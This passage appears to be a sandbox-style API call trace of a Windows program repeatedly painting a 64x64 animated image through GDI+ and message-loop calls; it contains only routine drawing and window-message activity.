[0138.496] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0138.496] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0138.496] CoTaskMemFree (pv=0x1e7ac120) [0138.496] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x16) returned 0x0 [0138.499] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0138.499] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0138.499] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0138.499] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0138.499] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x19010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0138.499] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.500] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x19010b91) returned 0x0 [0138.500] SelectObject (hdc=0x19010b91, h=0x185000f) returned 0x1a05067e [0138.500] DeleteDC (hdc=0x19010b91) returned 1 [0138.500] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.500] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0138.500] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0138.501] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0138.501] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0138.501] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0138.501] WaitMessage () returned 1 [0138.658] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0138.658] IsWindowUnicode (hWnd=0x2031e) returned 1 [0138.658] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0138.658] TranslateMessage (lpMsg=0x15e910) returned 0 [0138.658] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0138.658] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0138.658] GetCurrentThreadId () returned 0xec0 [0138.658] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0138.658] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0138.658] IsWindowUnicode (hWnd=0x2031e) returned 1 [0138.659] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0138.659] TranslateMessage (lpMsg=0x15e910) returned 0 [0138.659] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0138.659] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0138.659] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0138.659] CreateCompatibleDC (hdc=0x3010b83) returned 0x280106ea [0138.659] SelectObject (hdc=0x280106ea, h=0x1a05067e) returned 0x185000f [0138.660] GdipCreateFromHDC (hdc=0x280106ea, graphics=0x15daf0) returned 0x0 [0138.660] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0138.660] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0138.660] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0138.660] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0138.660] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0138.660] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0138.660] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0138.661] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0138.661] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.661] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0138.661] GdipCreateRegion (region=0x15dc20) returned 0x0 [0138.662] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0138.662] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0138.662] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0138.662] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0138.662] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0138.662] GetSystemMetrics (nIndex=42) returned 0 [0138.662] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0138.663] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0138.663] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0138.663] CoTaskMemFree (pv=0x1e7ac120) [0138.663] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0138.663] GdipCreateRegion (region=0x15d710) returned 0x0 [0138.663] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0138.663] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0138.664] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0138.664] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0138.664] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0138.664] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0138.665] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0138.665] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0138.665] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0138.665] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0138.665] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0138.665] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.666] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0138.666] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0138.666] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0138.666] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0138.666] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.666] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0138.667] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0138.667] GetCurrentObject (hdc=0x280106ea, type=0x1) returned 0x1b00017 [0138.667] GetCurrentObject (hdc=0x280106ea, type=0x2) returned 0x1900010 [0138.667] GetCurrentObject (hdc=0x280106ea, type=0x7) returned 0x1a05067e [0138.667] GetCurrentObject (hdc=0x280106ea, type=0x6) returned 0x18a002e [0138.667] SaveDC (hdc=0x280106ea) returned 1 [0138.667] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffb20407c3 [0138.667] GetClipRgn (hdc=0x280106ea, hrgn=0xffffffffb20407c3) returned 0 [0138.668] SelectClipRgn (hdc=0x280106ea, hrgn=0xffffffff82040b8a) returned 2 [0138.668] DeleteObject (ho=0xffffffffb20407c3) returned 1 [0138.668] DeleteObject (ho=0xffffffff82040b8a) returned 1 [0138.668] OffsetViewportOrgEx (in: hdc=0x280106ea, x=0, y=0, lppt=0x280b848 | out: lppt=0x280b848) returned 1 [0138.668] GetNearestColor (hdc=0x280106ea, color=0xffffff) returned 0xffffff [0138.668] CreateSolidBrush (color=0xffffff) returned 0xffffffff8a100190 [0138.669] FillRect (hDC=0x280106ea, lprc=0x15d7c0, hbr=0xffffffff8a100190) returned 1 [0138.669] DeleteObject (ho=0xffffffff8a100190) returned 1 [0138.669] RestoreDC (hdc=0x280106ea, nSavedDC=-1) returned 1 [0138.669] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.669] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x280106ea) returned 0x0 [0138.669] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcd20dbd) returned 0x0 [0138.669] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.670] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0138.670] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0138.670] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0138.670] GetSystemMetrics (nIndex=42) returned 0 [0138.670] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0138.670] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0138.670] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0138.670] CoTaskMemFree (pv=0x1e7ac120) [0138.671] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0138.671] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0138.671] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0138.671] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0138.671] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x280106ea, x1=0, y1=0, rop=0xcc0020) returned 1 [0138.671] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.671] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x280106ea) returned 0x0 [0138.672] SelectObject (hdc=0x280106ea, h=0x185000f) returned 0x1a05067e [0138.672] DeleteDC (hdc=0x280106ea) returned 1 [0138.672] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.672] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0138.672] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0138.672] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0138.672] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0138.673] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0138.673] WaitMessage () returned 1 [0138.845] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0138.845] IsWindowUnicode (hWnd=0x2031e) returned 1 [0138.845] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0138.845] TranslateMessage (lpMsg=0x15e910) returned 0 [0138.845] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0138.845] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0138.846] GetCurrentThreadId () returned 0xec0 [0138.846] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0138.846] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0138.846] IsWindowUnicode (hWnd=0x2031e) returned 1 [0138.846] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0138.846] TranslateMessage (lpMsg=0x15e910) returned 0 [0138.846] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0138.846] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0138.847] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0138.847] CreateCompatibleDC (hdc=0x3010b83) returned 0x290106ea [0138.847] SelectObject (hdc=0x290106ea, h=0x1a05067e) returned 0x185000f [0138.847] GdipCreateFromHDC (hdc=0x290106ea, graphics=0x15daf0) returned 0x0 [0138.847] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0138.847] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0138.848] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0138.848] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0138.848] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0138.848] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0138.848] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0138.849] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0138.849] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.849] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0138.849] GdipCreateRegion (region=0x15dc20) returned 0x0 [0138.849] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0138.850] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0138.850] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0138.850] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0138.850] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0138.850] GetSystemMetrics (nIndex=42) returned 0 [0138.850] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0138.850] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0138.851] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0138.851] CoTaskMemFree (pv=0x1e7ac120) [0138.851] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0138.851] GdipCreateRegion (region=0x15d710) returned 0x0 [0138.851] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0138.851] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0138.852] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0138.852] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0138.852] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0138.852] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0138.853] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0138.853] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0138.853] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0138.853] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0138.853] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0138.854] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.854] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0138.854] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0138.854] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0138.854] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0138.854] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.854] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0138.854] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0138.854] GetCurrentObject (hdc=0x290106ea, type=0x1) returned 0x1b00017 [0138.854] GetCurrentObject (hdc=0x290106ea, type=0x2) returned 0x1900010 [0138.855] GetCurrentObject (hdc=0x290106ea, type=0x7) returned 0x1a05067e [0138.855] GetCurrentObject (hdc=0x290106ea, type=0x6) returned 0x18a002e [0138.855] SaveDC (hdc=0x290106ea) returned 1 [0138.855] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff83040b8a [0138.855] GetClipRgn (hdc=0x290106ea, hrgn=0xffffffff83040b8a) returned 0 [0138.855] SelectClipRgn (hdc=0x290106ea, hrgn=0xffffffffb30407c3) returned 2 [0138.855] DeleteObject (ho=0xffffffff83040b8a) returned 1 [0138.855] DeleteObject (ho=0xffffffffb30407c3) returned 1 [0138.856] OffsetViewportOrgEx (in: hdc=0x290106ea, x=0, y=0, lppt=0x280c180 | out: lppt=0x280c180) returned 1 [0138.856] GetNearestColor (hdc=0x290106ea, color=0xffffff) returned 0xffffff [0138.856] CreateSolidBrush (color=0xffffff) returned 0xffffffff8b100190 [0138.856] FillRect (hDC=0x290106ea, lprc=0x15d7c0, hbr=0xffffffff8b100190) returned 1 [0138.856] DeleteObject (ho=0xffffffff8b100190) returned 1 [0138.856] RestoreDC (hdc=0x290106ea, nSavedDC=-1) returned 1 [0138.856] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.856] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x290106ea) returned 0x0 [0138.856] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcd00dbd) returned 0x0 [0138.856] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.856] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0138.857] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0138.857] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0138.857] GetSystemMetrics (nIndex=42) returned 0 [0138.857] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0138.857] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0138.857] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0138.857] CoTaskMemFree (pv=0x1e7ac120) [0138.857] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x18) returned 0x0 [0138.860] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0138.861] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0138.861] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0138.861] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0138.861] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x290106ea, x1=0, y1=0, rop=0xcc0020) returned 1 [0138.861] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.861] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x290106ea) returned 0x0 [0138.861] SelectObject (hdc=0x290106ea, h=0x185000f) returned 0x1a05067e [0138.861] DeleteDC (hdc=0x290106ea) returned 1 [0138.861] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.861] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0138.861] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0138.862] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0138.862] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0138.862] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0138.862] WaitMessage () returned 1 [0139.026] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0139.026] IsWindowUnicode (hWnd=0x2031e) returned 1 [0139.026] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0139.026] TranslateMessage (lpMsg=0x15e910) returned 0 [0139.026] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0139.026] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0139.026] GetCurrentThreadId () returned 0xec0 [0139.026] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0139.026] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0139.027] IsWindowUnicode (hWnd=0x2031e) returned 1 [0139.027] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0139.027] TranslateMessage (lpMsg=0x15e910) returned 0 [0139.027] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0139.027] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0139.027] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0139.027] CreateCompatibleDC (hdc=0x3010b83) returned 0x2a0106ea [0139.027] SelectObject (hdc=0x2a0106ea, h=0x1a05067e) returned 0x185000f [0139.027] GdipCreateFromHDC (hdc=0x2a0106ea, graphics=0x15daf0) returned 0x0 [0139.027] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0139.027] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0139.028] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0139.028] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0139.028] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0139.028] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0139.028] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0139.028] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0139.029] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.029] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0139.029] GdipCreateRegion (region=0x15dc20) returned 0x0 [0139.029] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0139.029] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0139.029] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0139.029] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0139.029] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0139.029] GetSystemMetrics (nIndex=42) returned 0 [0139.029] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0139.029] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0139.029] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0139.029] CoTaskMemFree (pv=0x1e7ac120) [0139.030] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0139.030] GdipCreateRegion (region=0x15d710) returned 0x0 [0139.030] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0139.030] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0139.030] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0139.030] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0139.030] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0139.030] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0139.031] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0139.031] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0139.031] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0139.031] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0139.031] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0139.032] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.032] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0139.032] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0139.032] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0139.032] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0139.032] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.032] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0139.032] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0139.032] GetCurrentObject (hdc=0x2a0106ea, type=0x1) returned 0x1b00017 [0139.032] GetCurrentObject (hdc=0x2a0106ea, type=0x2) returned 0x1900010 [0139.032] GetCurrentObject (hdc=0x2a0106ea, type=0x7) returned 0x1a05067e [0139.032] GetCurrentObject (hdc=0x2a0106ea, type=0x6) returned 0x18a002e [0139.032] SaveDC (hdc=0x2a0106ea) returned 1 [0139.033] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffb40407c3 [0139.033] GetClipRgn (hdc=0x2a0106ea, hrgn=0xffffffffb40407c3) returned 0 [0139.033] SelectClipRgn (hdc=0x2a0106ea, hrgn=0xffffffff84040b8a) returned 2 [0139.033] DeleteObject (ho=0xffffffffb40407c3) returned 1 [0139.033] DeleteObject (ho=0xffffffff84040b8a) returned 1 [0139.033] OffsetViewportOrgEx (in: hdc=0x2a0106ea, x=0, y=0, lppt=0x280d478 | out: lppt=0x280d478) returned 1 [0139.033] GetNearestColor (hdc=0x2a0106ea, color=0xffffff) returned 0xffffff [0139.033] CreateSolidBrush (color=0xffffff) returned 0xffffffff8c100190 [0139.033] FillRect (hDC=0x2a0106ea, lprc=0x15d7c0, hbr=0xffffffff8c100190) returned 1 [0139.033] DeleteObject (ho=0xffffffff8c100190) returned 1 [0139.034] RestoreDC (hdc=0x2a0106ea, nSavedDC=-1) returned 1 [0139.034] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.034] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2a0106ea) returned 0x0 [0139.034] GdipRestoreGraphics 